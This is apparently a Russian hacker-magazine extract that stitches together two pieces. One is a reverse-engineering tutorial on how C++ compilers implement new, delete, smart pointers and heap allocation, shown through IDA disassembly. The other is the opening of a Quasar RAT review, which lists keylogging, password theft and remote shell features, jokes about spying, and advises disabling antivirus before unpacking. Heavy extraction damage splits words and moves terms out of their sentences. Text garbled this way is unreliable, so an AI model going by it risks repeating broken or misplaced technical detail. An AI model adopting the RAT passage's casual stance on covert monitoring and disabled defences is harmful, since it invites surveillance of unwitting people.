уме ет, в час тнос ти, IDA Pro, сни мая эту заботу с плеч иссле дова теля. Одна ко
IDA  Pro  есть  не  у  всех  и  далеко  не  всег да  в  нуж ный  момент  находит ся
под рукой, да к тому же не все биб лиотеч ные фун кции она зна ет, а из тех, что
зна ет, не всег да узна ет   и  ... Сло вом, при чин иден тифици ровать их
вруч ную пре дос таточ но.

new delete

new delete

Ре али зация    и    может  быть  любой,  но  Windows‐ком пилято ры
в  боль шинс тве  сво ем  ред ко  реали зуют  фун кции  работы  с  кучей  самос‐ 
тоятель но.  Зачем  это? Нам ного  про ще обра тить ся  к  услу гам опе раци онной
сис темы. Одна ко наив но ожи дать вмес то   появ ление вызова  ,
а вмес то   —  . Нет, ком пилятор не так прост! Раз ве он может
отка зать  себе  в  удо воль ствии  «выреза ния  мат решек»?  Опе ратор    тран‐ 
сли рует ся в фун кцию  , вызыва ющую для выделе ния памяти  , 

  же,  в  свою  оче редь,  обра щает ся  к    (или  ее  подобию  —
в  зависи мос ти  от  реали зации  биб лиоте ки  работы  с  памятью)  —  сво еоб‐ 
разной  «обер тке»  одно имен ной  Win32  API‐про цеду ры.  Кар тина  с  осво бож‐ 
дени ем памяти ана логич на.

new delete

new HeapAlloc
delete HeapFree

new
new malloc mal‐

loc HeapAlloc

Уг лублять ся в деб ри вло жен ных вызовов слиш ком уто митель но. Нель зя ли
  и    иден тифици ровать  как‐нибудь  ина че,  с  мень шими  тру дозат‐ 

ратами и  без  лиш ней  голов ной боли? Разуме ется, мож но! Давай  вспом ним
все, что мы зна ем о new:

new delete

new при нима ет единс твен ный аргу мент — количес тво бай тов выделя емой
памяти,  при чем  этот  аргу мент  в  подав ляющем  боль шинс тве  слу чаев
вычис ляет ся еще на ста дии ком пиляции, то есть явля ется кон стан той;

•

• ес ли объ ект не содер жит ни дан ных, ни вир туаль ных фун кций, его раз мер
равен еди нице  (минималь ный блок памяти, выделя емый толь ко для  того,
что бы было на что ука зывать ука зате лю  ); отсю да будет очень мно го
вызовов типа

this

         mov ecx, 1 ; size
    call XXX

где    и  есть  адрес  !  Вооб ще  же,  типич ный  раз мер  объ ектов  сос‐ 
тавля ет менее сот ни бай тов... ищи час то вызыва емую фун кцию с аргу мен‐ 
том‐кон стан той мень ше ста бай тов;

XXX new

• фун кция    —  одна  из  самых  популяр ных  биб лиотеч ных  фун кций,  ищи
фун кцию с «тол пой» перек рес тных ссы лок;

new

• са мое  харак терное:    воз вра щает  ука затель  ,  а    очень  лег ко
иден тифици ровать даже при бег лом прос мотре кода  (обыч но он воз вра‐ 
щает ся в регис тре  );

new this this

RCX
• воз вра щен ный   резуль тат всег да про веря ется на равенс тво нулю (опе‐ 
рато рами  типа  ,  ),  и,  если  он  дей стви тель но  равен  нулю,
конс трук тор (если он есть) не вызыва ется.

new
test  RCX RCX

«Родимых пятен» у   более чем дос таточ но для быс трой и надеж ной иден‐ 
тифика ции,  тра тить  вре мя  на  ана лиз  кода  этой  фун кции  совер шенно  ни  к
чему!  Единс твен ное,  о  чем  сле дует  пом нить:    исполь зует ся  не  толь ко
для  соз дания  новых  экзем пля ров  объ ектов,  но  и  для  выделе ния  памяти
под  мас сивы  (струк туры)  и  изредка  —  под  оди ноч ные  перемен ные  (типа 

  что  вооб ще  маразм,  но  некото рые  так  дела ют).
К  счастью,  отли чить  два  этих  спо соба  очень  прос то —  ни  у  мас сивов,  ни  у
струк тур, ни у оди ноч ных перемен ных нет ука зате ля  !

new

new

,int *x = new int

this
Слож нее  иден тифици ровать  .  Каких‐либо  харак терных  приз наков

эта  фун кция  не  име ет.  Да,  она  при нима ет  единс твен ный  аргу мент  —  ука‐ 
затель на осво бож даемый реги он памяти, при чем в подав ляющем боль шинс‐ 
тве  слу чаев  это  ука затель  .  Но  помимо  нее,    при нима ют  десят ки,
если  не  сот ни  дру гих  фун кций!  Рань ше  в  эпо ху  32‐бит ных  кам ней  у  иссле‐ 
дова теля была удоб ная зацеп ка за то, что   в боль шинс тве слу чаев при‐ 
нимал  ука затель    через  стек,  а  осталь ные  фун кции  —  через  регистр.
В нас тоящее же вре мя, как мы уже неод нократ но убеж дались, любые фун кции
при нима ют парамет ры через регис тры:

delete

this this

delete
this

         mov rcx, [rsp+58h+block] ; block
          call operator delete(void *,unsigned __int64)

В дан ном слу чае IDA без замеша тель ств рас позна ла  .delete
К  тому же    ничего  не  воз вра щает,  но мало  ли фун кций  пос тупа ют

точ но  так  же?  Единс твен ная  зацеп ка  —  вызов    сле дует  за  вызовом
дес трук тора (если он есть), но, пос коль ку конс трук тор как раз и иден тифици‐ 
рует ся как фун кция, пред шес тву ющая  , обра зует ся зам кну тый круг!

delete
delete

delete
Ни чего  не  оста ется,  кро ме  как  ана лизи ровать  содер жимое  фун кции:

 рано или поз дно вызыва ет    (хотя тут воз можны и вари анты:
так, Borland/Embarcadero содер жит биб лиоте ки, работа ющие с кучей на низ‐ 
ком уров не и осво бож дающие память вызовом  ). К счастью, IDA
Pro  в  боль шинс тве  слу чаев опоз нает    и  самос тоятель но  нап рягать ся
не при ходит ся.

delete HeapFree

VirtualFree
delete

А  что  про изой дет,  если  IDA  не  рас позна ет  ?  Код будет  выг лядеть
при мер но так:

delete

         mov rcx, [rsp+58h+block] ; block
    call XXX
       cmp [rsp+58h+block], 0
       jnz short loc_1400010B0

Нег лубокий  ана лиз  показы вает:  в  пер вой  строч ке  в  регистр  ,  оче вид но
для  переда чи  в  качес тве  парамет ра,  помеща ется  блок  памяти.  Похоже,
это ука затель на сущ ность. А пос ле вызова   выпол няет ся срав нение это го
бло ка памяти с нулем и, если блок не обну лен, про исхо дит переход по адре‐ 
су.  Таким  нес ложным  обра зом  мы  можем  лег ко  иден тифици ровать  ,
даже если IDA его не опре деля ет.

RCX

XXX

delete

УМНЫЕ УКАЗАТЕЛИ
Visual C++
Сра зу  пос ле  появ ления  в  стан дарте  C++  умных  ука зате лей  они  заво ева ли
популяр ность сре ди прог раммис тов. Оно и понят но: их исполь зование сня ло
часть голов ной боли раз работ чика при выделе нии памяти и работе с ней —
за ее осво бож дение теперь мож но не бес поко ить ся.

Ском пилиру ем прос той при мер кода:

#include <iostream>
#include <memory> // Добавляет поддержку умных указателей

   class MyClass {
public:
     void print()
   {

              std::cout << "Hello Visual C++" << std::endl;
   }
};

 int main()
{
         auto c = std::make_unique<MyClass>();
   c‐>print();
   std::cin.get();
}

Толь ко  не  забудь  отклю чить  опти миза цию,  что бы  уви деть  деталь ную  работу
ком пилято ра. Резуль тат дизас сем бли рова ния будет такой:

 main            proc near
     _Right          = qword ptr ‐28h
 

     
result          = std::unique_ptr<MyClass,std::default_delete<MyClass
> > ptr ‐20h

 
     

var_18          = std::unique_ptr<MyClass,std::default_delete<MyClass
> > ptr ‐18h

     var_10          = qword ptr ‐10h
                      sub rsp, 48h
                      mov rax, cs:__security_cookie
                      xor rax, rsp
                      mov [rsp+48h+var_10], rax
                      mov edx, 8          ; unsigned __int64
                        lea rcx, [rsp+48h+var_18] ; this
    

 
               call std::unique_ptr<MyClass,std::default_delete<
MyClass>>::__autoclassinit2(unsigned __int64)

                        lea rcx, [rsp+48h+result] ; result
                   call std::make_unique<MyClass,,0>(void)
                      mov [rsp+48h+_Right], rax
                        mov rdx, [rsp+48h+_Right] ; _Right
                        lea rcx, [rsp+48h+var_18] ; this
    

 

               call std::unique_ptr<MyClass,std::default_delete<
MyClass>>::unique_ptr<MyClass,std::default_delete<MyClass>>(std::
unique_ptr<MyClass,std::default_delete<MyClass>> &&)
               nop

                        lea rcx, [rsp+48h+result] ; this
                   call std::unique_ptr<MyClass,std::default_delete<

MyClass>>::~unique_ptr<MyClass,std::default_delete<MyClass>>(void)
                        lea rcx, [rsp+48h+var_18] ; this
                   call std::unique_ptr<MyClass,std::default_delete<

MyClass>>::operator‐>(void)
                      mov rcx, rax        ; this
                   call MyClass::print(void)
       

 
               mov rcx, cs:std::basic_istream<char,std::ch
ar_traits<char>> std::cin

                   call cs:std::basic_istream<char,std::char_traits<
char>>::get(void)
               nop

                        lea rcx, [rsp+48h+var_18] ; this
                   call std::unique_ptr<MyClass,std::default_delete<

MyClass>>::~unique_ptr<MyClass,std::default_delete<MyClass>>(void)
                      xor eax, eax
                      mov rcx, [rsp+48h+var_10]
                      xor rcx, rsp        ; StackCookie
                   call __security_check_cookie
                      add rsp, 48h

               retn
main            endp

Ис поль зование умно го ука зате ля при вело к генера ции допол нитель ных биб‐ 
лиотеч ных вызовов. Одна ко раду ет, что  IDA рас позна ла все как надо. Давай
срав ним дизас сем блер ный лис тинг, заменив умный ука затель на обыч ный:

...
       auto c = new MyClass();

c‐>print();
 delete c;

...

Ре зуль тат ком пиляции будет таким:

 main            proc near
     var_38          = qword ptr ‐38h
     var_30          = qword ptr ‐30h
     var_28          = qword ptr ‐28h
     block           = qword ptr ‐20h
     var_18          = qword ptr ‐18h

                      sub rsp, 58h
                      mov ecx, 1                ; size
                       call operator new(unsigned __int64)
                      mov [rsp+58h+var_30], rax
                      cmp [rsp+58h+var_30], 0

                jz      short loc_140001067
                      mov rax, [rsp+58h+var_30]
                      mov [rsp+58h+var_28], rax
                      jmp short loc_140001070

loc_140001067:
                      mov [rsp+58h+var_28], 0

loc_140001070:
                      mov rax, [rsp+58h+var_28]
                      mov [rsp+58h+var_38], rax
                        mov rcx, [rsp+58h+var_38] ; this
                   call MyClass::print(void)
                      mov rax, [rsp+58h+var_38]
                      mov [rsp+58h+block], rax
                      mov edx, 1                ; __formal
                        mov rcx, [rsp+58h+block] ; block
                         call operator delete(void *,unsigned __int64)
                      cmp [rsp+58h+block], 0
                      jnz short loc_1400010B0
                      mov [rsp+58h+var_18], 0
                      jmp short loc_1400010C3

loc_1400010B0:
                      mov [rsp+58h+var_38], 8123h
                      mov rax, [rsp+58h+var_38]
                      mov [rsp+58h+var_18], rax

loc_1400010C3:
       

 
               mov rcx, cs:std::basic_istream<char,std::ch
ar_traits<char>> std::cin

                   call cs:std::basic_istream<char,std::char_traits<
char>>::get(void)

                      xor eax, eax
                      add rsp, 58h

               retn
main            endp

Этот лис тинг выг лядит более при выч ным и наг лядным. Меж ду  тем вер немся
к  пре дыду щему  лис тингу,  он  для  нас  более  инте ресен.  Из  него  вид но,  что
объ ект  соз дает ся  в фун кции  , имен‐ 
но в ней вызыва ется опе ратор  :

std::make_unique<MyClass,,0>(void)
new

         
           

class std::unique_ptr<class MyClass, struct std::default_delete<class
MyClass>> std::make_unique<class MyClass, , 0>(void) proc near
...

                      mov [rsp+arg_0], rcx
                      sub rsp, 58h
                      mov [rsp+58h+var_38], 0
                        mov ecx, 1 ; size
                       call operator new(unsigned __int64)

...

Унич тожа ет  объ ект  фун кция 

:

std::unique_ptr<MyClass,std::default‐
_delete<MyClass>>::~unique_ptr<MyClass,std::default_delete<My‐
Class>>(void)

       
       

     

public: std::unique_ptr<class MyClass, struct std::default_delete<cl
ass MyClass>>::~unique_ptr<class MyClass, struct std::default_delete<
class MyClass>>(void) proc near

      arg_0           = qword ptr 8
                      mov [rsp+arg_0], rcx
                      sub rsp, 28h
                      mov rax, [rsp+28h+arg_0]
                          cmp qword ptr [rax], 0

                jz      short loc_140001131
                      mov rax, [rsp+28h+arg_0]
                      mov rcx, rax        ; this
                         call std::forward<MyClass *>(MyClass * &)
                      mov rcx, [rsp+28h+arg_0]
                      mov rdx, [rcx]      ; _Ptr
                      mov rcx, rax        ; this
    

 
               call std::default_delete<MyClass>::operator()(
MyClass *)
loc_140001131:

                      add rsp, 28h
               retn

В начале фун кции выпол няет ся про вер ка:  , то есть,
если ука затель на объ ект нулевой, не име ет смыс ла его уда лять. В ином слу‐ 
чае его уда ляет биб лиотеч ная фун кция  , она работа ет
имен но  с  уни каль ными  ука зате лями  (в  стан дарте,  кро ме  них,  при сутс тву ют
еще  ), внут ри нее про исхо дит вызов опе рато ра  :

cmp qword ptr [rax], 0

std::default_delete

shared_ptr delete

       
     

public: void std::default_delete<class MyClass>::operator()(class
MyClass *)const proc near

     block           = qword ptr ‐18h
     var_10          = qword ptr ‐10h
      arg_0           = qword ptr 8
      arg_8           = qword ptr 10h
                      mov [rsp+arg_8], rdx
                      mov [rsp+arg_0], rcx
                      sub rsp, 38h
                      mov rax, [rsp+38h+arg_8]
                      mov [rsp+38h+block], rax
                      mov edx, 1               ; __formal
                        mov rcx, [rsp+38h+block] ; block
                         call operator delete(void *,unsigned __int64)

...

C++Builder
С Visual C++ разоб рались, а как обсто ят дела в ста не Embarcadero? Смо жет
ли  IDA  разоб рать ся  в  его  наг ромож дени ях  кода?  Дизас сем бли руем  тот  же
при мер. Одна ко в C++Builder он будет иметь нем ного дру гой вид:

#include <stdio.h>
#include <iostream>
#include <memory>

   class MyClass {
public:
     void __fastcall print()
 {
           std::cout << "Hello C++ Builder" << std::endl;
 }
};

       int _tmain(int argc, _TCHAR* argv[])
{
       auto c = std::unique_ptr<MyClass>();
 c‐>print();
 std::cin.get();
   return 0;
}

Пе ред  ком пиляци ей  про екта  добавь  плат форму  Windows  64‐bit  в  выпада‐ 
ющем спис ке Target Platforms, а в спис ке Build Configurations — Release.

Дос тупные плат формы для ком пиляции про екта

До бав ление плат формы Windows x64

Еще не забудь отклю чить опти миза цию: Project → Options.

От клю чение опти миза ции

Продолжение статьи →



ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА

РАСПРЕДЕЛЕНИЕ ДИНАМИЧЕСКОЙ ПАМЯТИ
И УКАЗАТЕЛИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

В  резуль тате  дизас сем блер ный  лис тинг  фун кции    будет  выг лядеть
сле дующим обра зом:

_tmain

 main            proc near
     var_34          = dword ptr ‐34h
     var_30          = qword ptr ‐30h
     var_18          = byte ptr ‐18h
     var_10          = qword ptr ‐10h
     var_8           = dword ptr ‐8
     var_4           = dword ptr ‐4
      arg_2C          = dword ptr 34h
      arg_30          = qword ptr 38h
      arg_38          = byte ptr 40h

                      sub rsp, 58h
                      mov [rsp+58h+var_4], 0
                      mov [rsp+58h+var_8], ecx
                      mov [rsp+58h+var_10], rdx
                      lea rdx, [rsp+58h+var_18]
                      mov rcx, rdx
                      mov [rsp+58h+var_30], rdx
                   call std::unique_ptr<MyClass,std::default_delete<

MyClass>>::unique_ptr<std::default_delete<MyClass>,void>(void)
                      mov rcx, [rsp+58h+var_30]
                   call std::unique_ptr<MyClass,std::default_delete<

MyClass>>::operator‐>(void)
                      mov rcx, rax
                   call MyClass::print(void)
                      jmp short $+2

loc_40137B:
                      lea rcx, qword_432698
                   call std::istream::get(void)
                      mov [rsp+58h+var_34], eax
                      jmp short $+2

loc_40138D:
                      lea rcx, [rsp+58h+var_18]
                      mov [rsp+58h+var_4], 0
                   call std::unique_ptr<MyClass,std::default_delete<

MyClass>>::~unique_ptr()
                      jmp short loc_4013BA
                      lea rcx, [rsp+arg_38]
                      mov r8d, edx
                      mov [rsp+arg_30], rax
                      mov [rsp+arg_2C], r8d
                   call std::unique_ptr<MyClass,std::default_delete<

MyClass>>::~unique_ptr()
                      jmp short loc_4013C3

loc_4013BA:
                      mov eax, [rsp+58h+var_4]
                      add rsp, 58h

               retn
loc_4013C3:

                      mov rcx, [rsp+arg_30]
                   call _Unwind_Resume

               ud2
   off_4013CF      dq offset unk_4290DC

main            endp

К  нашему  удов летво рению,  и  в  этом  слу чае  IDA  успешно  рас позна ла  конс‐ 
трук ции обновлен ного  стан дарта C++. Во мно гом  этот  код  похож на  дизас‐ 
сем бли рован ный  лис тинг,  изго тов ленный  ком пилято ром  Visual  C++.  Меж ду
тем  есть  раз личие  при  соз дании  объ екта.  В  этом  лис тинге  нет  вызова

. Поп робу ем разоб рать ся в тон костях. Вот так выг лядит вызов:make_unique

    call std::unique_ptr<MyClass,std::default_delete<MyClass>>::
unique_ptr<std::default_delete<MyClass>,void>(void)

В резуль тате мы попада ем в сле дующую фун кцию:

   
 

public std::unique_ptr<MyClass, std::default_delete<MyClass>>::
unique_ptr<std::default_delete<MyClass>, void>(void)

 
     

std::unique_ptr<MyClass, std::default_delete<MyClass>>::unique_ptr<
std::default_delete<MyClass>, void>(void) proc near

     var_C           = dword ptr ‐0Ch
     var_8           = qword ptr ‐8
                      sub rsp, 38h
                      mov [rsp+38h+var_8], rcx
                      mov rcx, [rsp+38h+var_8]
                      xor eax, eax
                      mov edx, eax
                   call std::_Unique_ptr_base<MyClass,std::

default_delete<MyClass>>::_Unique_ptr_base<MyClass*>(MyClass*)
                      jmp short $+2

loc_401559:
                      add rsp, 38h

               retn
                      mov ecx, edx
                      mov [rsp+38h+var_C], ecx
                      mov rcx, rax
                   call __clang_call_terminate
                      jmp short loc_401559
   off_40156E      dq offset unk_4290FC

Здесь  и  соз дает ся  базовый  ука затель.  Обра ти  вни мание  на  строч ку,
в которой вызыва ется конс трук тор  :_Unique_ptr_base

std::_Unique_ptr_base<MyClass,std::default_delete<MyClass>>::
_Unique_ptr_base<MyClass*>(MyClass*)

Фух,  какой  запутан ный  код  сге нери ровал  имбарка деров ский  ком пилятор!
С Visual C++ было гораз до понят нее и наг ляднее.

Ка кие мож но из это го сде лать выводы? Умные ука зате ли удоб ны для прог‐ 
раммис та,  но  они  же  вно сят  в  дво ичный  код  пол ный  хаос,  хорошень ко  так
парази тируя на его лаконич ности и устра ивая тягучее болото для кодоко пате‐ 
ля.  Черт  ногу  сло мит!  Что  будет,  если  исполь зуемый дизас сем блер  не  рас‐ 
позна ет  умные  ука зате ли?  Мож но  ли  собс твен ными  силами  это  сде лать?
Очень  зат рудни тель но:  здесь  и  клас сы,  и  шаб лоны,  и  ука зате ли,  и  все
это впе ремеш ку. Поэто му дизас сем бли рован ный лис тинг будет гро моз дким.
Обра ти  вни мание:  если  в  прог рамме,  ском пилиро ван ной  в  VC++,  IDA  рас‐ 
позна ла абсо лют но все фун кции, то в про ге от CB мно гие фун кции оста лись
нерас познан ными — с абс трак тны ми име нами  .sub_***

Ок но со спис ком фун кций

ПОДХОДЫ К РЕАЛИЗАЦИИ КУЧИ
В  некото рых,  меж ду  про чим  дос таточ но  популяр ных,  руководс твах  по  прог‐ 
рамми рова нию на C++ встре чают ся при зывы всег да выделять память имен но
с исполь зовани ем  , а не  , пос коль ку   опи рает ся на эффектив‐ 
ные  средс тва  управле ния  памятью  самой опе раци онной  сис темы,  а 
реали зует  собс твен ный  (и  дос таточ но  тор мозной)  менед жер  кучи.  Все
это гру бые натяж ки! Стан дарт вооб ще ничего не говорит о реали зации кучи,
и  какая  фун кция  ока жет ся  эффектив нее,  наперед  неиз вес тно.  Все  зависит
от кон крет ных биб лиотек кон крет ного ком пилято ра.

new malloc new
malloc

Рас смот рим,  как  устро ено  управле ние  памятью  в  штат ных  биб лиоте ках
двух популяр ных ком пилято ров — Microsoft Visual C++ и Embarcadero C++ —
на таком незамыс ловатом при мере:

#include <iostream>

   class MyClass1 {
public:
     void print()
   {

              std::cout << "I'm allocated by new" << std::endl;
   }
};

   class MyClass2 {
public:
     void print()
   {

              std::cout << "I'm allocated by malloc" << std::endl;
   }
};

 int main()
{
           auto c1 = new MyClass1();
   c1‐>print();
     delete c1;

         MyClass2 *c2 = (MyClass2*)malloc(sizeof(MyClass2));
         if (c2 == NULL)

          std::cout << "error";
   c2‐>print();
   free(c2);

   std::cin.get();
}

Собс твен но, в нем показа ны оба слу чая выделе ния и очис тки памяти: от язы‐ 
ков C и C++.

Microsoft C++
В Visual C++ и  , и   при водят к вызову биб лиотеч ной фун кции 

. Раз ница лишь в том, что   сра зу заменя ется  ,
а    выпол няет допол нитель ные опе рации,  но  в  ито ге  все рав но  вызыва ет

.

new malloc __im‐
p_malloc malloc __imp_malloc
new

__imp_malloc
Сто ит ли из‐за это го отка зывать ся от   в поль зу сиш ного  ? Рань‐ 

ше,  лет  двад цать  назад,  воз можно,  это  давало  пре иму щес тво,  но  сей час
делать  что‐то  подоб ное  катего ричес ки  не  надо.  И  хотя  твой  код  не  будет
работать  быс трее,  но  и  мед леннее  он  не  ста нет.  Тем  более  опе ратор 
дела ет опе рацию по выделе нию памяти безопас нее. Взгля нем на его дизас‐ 
сем блер ный лис тинг:

new malloc

new

           void * operator new(unsigned __int64) proc near
                   push rbx
                      sub rsp, 20h
                      mov rbx, rcx
                      jmp short loc_14000184A

  loc_14000183B: ; CODE XREF: operator new(unsigned __int64)+22↓j
                      mov rcx, rbx
                   call _callnewh_0
                     test eax, eax

                jz      short loc_14000185A
                        mov rcx, rbx ; Size

  loc_14000184A: ; CODE XREF: operator new(unsigned __int64)+9↑j

Сю да  (в  тре тий  блок)  выпол няет ся  безус ловный  переход  из  пер вого  бло ка
кода. Здесь вызыва ется  ,  за  которым кро ется  . Далее
про веря ется  выделен ная  память  (напол нение  регис тра  ).  Если  память
выделе на,  завер шаем фун кцию.  В  обратном  слу чае,  ког да  выделить  ничего
не уда лось, пры гаем во вто рой блок, где с помощью  , за которой
так же скры вает ся  ,  выделя ем память  в 32‐бит ных  усло виях,  так
как далее сле дует про вер ка запол нения регис тра  .

malloc_0 _imp_malloc
RAX

_callnewh_0
_imp_malloc

EAX

    call malloc_0
                     test rax, rax

                jz      short loc_14000183B
                      add rsp, 20h
                    pop rbx

               retn
  loc_14000185A: ; CODE XREF: operator new(unsigned __int64)+15↑j

Ес ли  обе  попыт ки  выделить  память  про вали лись,  управле ние  переда ется
в  чет вертый блок.  А  здесь  все  пло хо:  в  зависи мос ти  от  сос тояния регис тра

 могут быть выб рошены раз ные исклю чения.RBX

       cmp rbx, 0FFFFFFFFFFFFFFFFh
                jz      short loc_140001866

                   call __scrt_throw_std_bad_alloc(void)
                align 2

  loc_140001866: ; CODE XREF: operator new(unsigned __int64)+2E↑j
                   call __scrt_throw_std_bad_array_new_length(void)

         void * operator new(unsigned __int64) endp

Биб лиотеч ная  фун кция    язы ка  C/C++  для  выделе ния  памяти
вызыва ет  .  И  на  этом  пор тиру емость  закан чива ется,  пос коль ку
дан ная фун кция при над лежит Win32 API. Наконец,   вызыва ет 

. И толь ко пос ле это го мы получа ем память для соз дава емо го объ‐ 
екта — сколь ко закулис ной работы!

__imp_malloc
HeapAlloc

HeapAlloc Vir‐
tualAlloc

Что же у нас с очис ткой памяти? Оба опе рато ра,   и  , вызыва ют
биб лиотеч ную фун кцию  . Так же как и в прош лом слу чае, опе ратор

 — нап рямую,   — кос венно. Фун кция  , в свою оче редь,
вызыва ет  ,  а  пос ледняя —    из Win32  API  для  осво бож‐ 
дения занятой памяти.

delete free
_imp_free

free delete _imp_free
HeapFree VirtuaFree

Embarcadero C++
Сов сем  по‐дру гому  ведет  себя  Embarcadero  C++!  Этот  зверь  в  нас ледс тво
от  Borland  C++  получил  собс твен ный  менед жер  кучи,  осно ван ный  на  «пря‐ 
мом»  вызове  сис темных  фун кций  / .  В  кавыч ках,
потому что вызовы ни фига не пря мые, а идут в обход биб лиотеч ных фун кций.
Ком пилятор запихи вает в прог рамму столь ко сквоз ного кода, который, ясное
дело,  уве личи вает  и  тор мозит  прог рамму.  Взгля нем  на  дизас сем блер ный
лис тинг фун кции  , которая сквоз ным обра зом вызыва ется опе‐ 
рато ром   и фун кци ей  :

VirtualAlloc VirtualFree

_malloc_init
new malloc

      _malloc_init proc near
                   push rsi
                      sub rsp, 20h
                      mov rsi, rcx
                   call __CRTL_MEM_CheckBorMem
                     test eax, eax

                jz      short loc_40DE8A
                      mov rax, cs:off_42C078
                      jmp short loc_40DEDA

     loc_40DE8A: ; CODE XREF: _malloc_init+F↑j
                      lea rax, _internal_free
                      mov cs:off_42C070, rax
                        lea rax, _internal_malloc ; Здесь происходит 

вызов функции
                           mov cs:off_42C078, rax ; для выделения памяти
                      lea rcx, _internal_allocmem
                      mov cs:off_42C090, rcx
                      lea rcx, _internal_realloc
                      mov cs:off_42C080, rcx
                      lea rcx, _internal_free_heaps
                      mov cs:off_42C088, rcx
                      mov cs:dword_42C06C, 1

     loc_40DEDA: ; CODE XREF: _malloc_init+18↑j
                      mov cs:dword_42C068, 1
                      mov rcx, rsi
                      add rsp, 20h
                    pop rsi
                    jmp rax

    _malloc_init endp

Да лее, если все прош ло успешно, выпол нение про дол жает ся в фун кции 
, отку да вызыва ется  :

_in‐
ternal_malloc __dlmalloc

   _internal_malloc proc near
                     test rcx, rcx

                jz      short loc_41234A
                    jmp __dlmalloc

...

При этом   пред став ляет собой длин нющую фун кцию, сре ди деб‐ 
рей которой мож но отыс кать строч ку  .

__dlmalloc
call VirtualAlloc

В резуль тате попада ем в фун кцию

      VirtualAlloc proc near
                    jmp cs:__imp_VirtualAlloc

    VirtualAlloc endp

От куда, как мы видим, выпол няет ся переход на биб лиотеч ную фун кцию 
.  Ну  и  зарос ли  неп роходи мого  кода  нагене риро вал

C++Builder!

__im‐
p_VirtualAlloc

Ду мает ся, с уда лени ем будет поп роще. Как бы не так! Опе рато ры 
и    в  ито ге  при водят  к  ,  которая  по  сво ему  обра зу  похожа
на   и для очис тки памяти вызыва ет  . Уже из нее
вызыва ется  ,  которая,  как  и  в  слу чае  с  выделе нием  памяти,  длин‐ 
нющая,  слов но  «Вой на  и мир».  В  нед рах  этой фун кции  управле ние  переда‐ 
ется  , которая выг лядит вот так:

delete
free _free_init
_malloc_init _internal_free

__dlfree

VirualFree

       VirtualFree proc near
                    jmp cs:__imp_VirtualFree

     VirtualFree endp

То есть она вызыва ет сис темную фун кцию очис тки памяти (под робнее о пос‐ 
ледова тель нос ти работы фун кций ини циали зации и очис тки  памяти можешь
пос мотреть в опи сании работы Visual C++).

ИТОГИ
Су дя  по  уви ден ному,  на  пос тавлен ный  выше  воп рос,  что  быс трее  — 
или  , мож но отве тить: боль шой раз ницы нет, но в безопас ности прог‐ 
рамми рова ния однознач но  выиг рыва ет  .  А  в  сов ремен ных  реалиях,  нес‐ 
мотря на то что исполь зование умных ука зате лей добав ляет избы точ ный код,
их  упот ребле ние  в  при ложе ниях  с  точ ки  зре ния  безопас ности  и  удобс тва
прог раммис та пред почти тель нее.

new
malloc

new

Как  ока залось,  под ходы  к  рас пре деле нию  и  очис тке  памяти  у  двух
популяр ных ком пилято ров во мно гом раз лича ются. У каж дого есть свои плю‐ 
сы и минусы, поэто му будет неп равиль ным однознач но утвер ждать, что один
луч ше дру гого. Тем не менее нель зя не приз нать, что C++Builder генери рует
избы точ ный и весь ма вити ева тый код.
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ВЗЛОМ

У  каж дого  из  нас  в  шко ле  был  любимый
пред мет. Кто‐то  тащил ся от физики,  кто‐то
от биоло гии, кого‐то боль ше все го радова‐ 
ла физ куль тура — из‐за воз можнос ти под‐ 
гля дывать  на  переме не  в  жен скую  раз‐ 
девал ку.  Сей час  для  любите лей
куда‐нибудь  под гля дывать  нас тало  раз‐ 
долье бла года ря соф ту, с помощью которо‐ 
го  мож но  получить  дос туп  к  самой  раз ной
информа ции. Одна такая соф тина под наз‐ 
вани ем Quasar RAT недав но попалась в мои
цеп кие лапы.

Пос коль ку  наш  жур нал  называ ется  «Хакер»,  уве рен,  мож но  лиш ний  раз
не  объ яснять  читате лям,  что  такое  RAT.  Эта  кон крет ная  тул за  написа на
под  вин ду,  но  глав ное —  она  фри вар ная  и  опен сор сная,  что  опре делен но
добав ляет  ей  пре иму ществ  по  срав нению  с  дру гим  ана логич ным  соф том.
Ска чать Quasar RAT мож но со  .стра нич ки про екта на гит хабе

Прог рамма написа на на С# и позици они рует ся раз работ чиками как «лег‐ 
кое  и  удоб ное  средс тво  для  уда лен ного  адми нис три рова ния,  тех ничес кой
под дер жки и наб людения за сот рудни ками». Quasar RAT име ет тра дици онную
для  Remote  Assistance  Tool  кли ент‐сер верную  архи тек туру  и,  нес мотря
на ком пак тность, обла дает доволь но‐таки богатым арсе налом воз можнос тей,
сре ди которых:

под клю чение к уда лен ному рабоче му сто лу;•
уда лен ный шелл и запуск исполня емых фай лов по коман де;•
уда лен ное редак тирова ние реес тра;•
за пуск фай лового менед жера, дис петче ра задач и менед жера заг рузки;•
уда лен ное выпол нение команд на вык лючение и перезаг рузку;•
кей лог гинг (с под дер жкой Unicode);•
пе рех ват паролей в бра узе рах, FTP‐кли ентах и дру гих прог раммах;•
за пуск Reverse Proxy (SOCKS5).•

Нес мотря на при сутс твие Quasar RAT в сво бод ном дос тупе и опре делен ную
популяр ность в узких кру гах цените лей прек расно го (судя по количес тву фор‐ 
ков и активнос ти комь юни ти), докумен тирова на соф тина, я бы ска зал, скром‐ 
но. С дру гой сто роны, она доволь но прос та в исполь зовании, и разоб рать ся
с ней под силу даже неис кушен ному юзе ру. Так уж выш ло, что мне вне зап но
понадо билась  ути лита  для  уда лен ного  управле ния  одним  из  ком пов  в моей
локал ке. По  совету  кол лег  в  качес тве  инс тру мен та  я  выб рал  имен но Quasar
RAT. И коли уж мне приш лось раз бирать ся с этой прог раммой, было бы греш‐ 
но не поделить ся с тобой впе чат лени ями от ее исполь зования. Пог нали!

УСТАНОВКА И НАСТРОЙКА
Прог рамма пос тавля ется в виде архи ва, внут ри которо го рас полага ются все
необ ходимые  для  ее  работы фай лы.  Перед  рас паков кой  содер жимого  сле‐ 
дует отклю чить анти виру сы, ина че они радос тно уда лят экзешник и .bat‐файл
из  ком плек та  пос тавки  Quasar.  Так же  для  начала  работы  нуж но 

 или более поз днюю вер сию, если она еще не уста нов‐ 
лена в тво ей сис теме.

ус тановить
.NET Framework 4.5.2

Что бы  не  путать ся,  сра зу  опре делим ся,  что  в  тер миноло гии Quasar  сер‐ 
вером  называ ется  машина,  куда  переда ются  дан ные  с  поль зователь ских
компь юте ров, а кли ентом — ПК, за которым ты сле дишь. Кли ент иден тифици‐ 
рует ся по тегу, который ты ука жешь в нас трой ках. Он может быть про изволь‐ 
